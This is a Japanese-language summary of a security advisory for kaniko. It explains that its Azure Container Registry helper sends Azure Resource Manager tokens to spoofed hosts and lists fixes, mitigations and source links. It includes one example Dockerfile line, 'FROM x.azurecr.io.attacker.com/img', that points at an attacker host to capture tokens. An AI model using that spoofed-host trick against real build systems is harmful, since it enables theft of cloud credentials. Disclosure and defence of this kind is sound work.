何が起きたか
kaniko に組み込まれた Azure Container Registry 用の認証ヘルパーが、ホスト名に .azurecr.io などを含むだけで ACR と判定していたため、FROM x.azurecr.io.attacker.com/img のような偽装ホストを書いた Dockerfile をビルドすると、Azure Resource Manager 用のアクセストークンが攻撃者のホストへ送られます。RUN 命令も push も不要で、ACR を使っていない環境でも、サービスプリンシパル、ワークロード ID、マネージド ID のいずれかが使えれば影響を受けます。攻撃者はトークンの有効期限まで、その ID の権限で Azure Resource Manager を操作でき、AcrPush 以上の権限があればレジストリへイメージを push できます。
やること
v1.25.20 以降から executor、warmer、docker-credential-acr-env を再ビルドしてください（このリポジトリはバイナリやイメージを配布していません）。Go モジュールとして使っている場合も v1.25.20 以降に更新してください。すぐ更新できない場合は、ビルド環境から Azure の認証情報やフェデレーショントークン、MSI_ENDPOINT と MSI_SECRET を外し、ビルド Pod から 169.254.169.254 への通信を遮断してください。組み込みの ACR 認証を使っていなければ AZURE_ENVIRONMENT=none を設定する方法もあります。信頼できない Dockerfile を Azure の ID がある環境でビルドしていた場合は、その間に発行されたトークンが漏れたものとして、Entra ID のサインインログと Azure のアクティビティログを確認し、その ID が読めたシークレットをローテーションしてください。
出典
GitHub Advisory Databasegithub.com英語 ↗kaniko のセキュリティ勧告github.com英語 ↗NVD CVE-2026-105769nvd.nist.gov英語 ↗上の要約は通り道編集部がまとめたものです。影響範囲と修正版は必ず各出典で確認してください。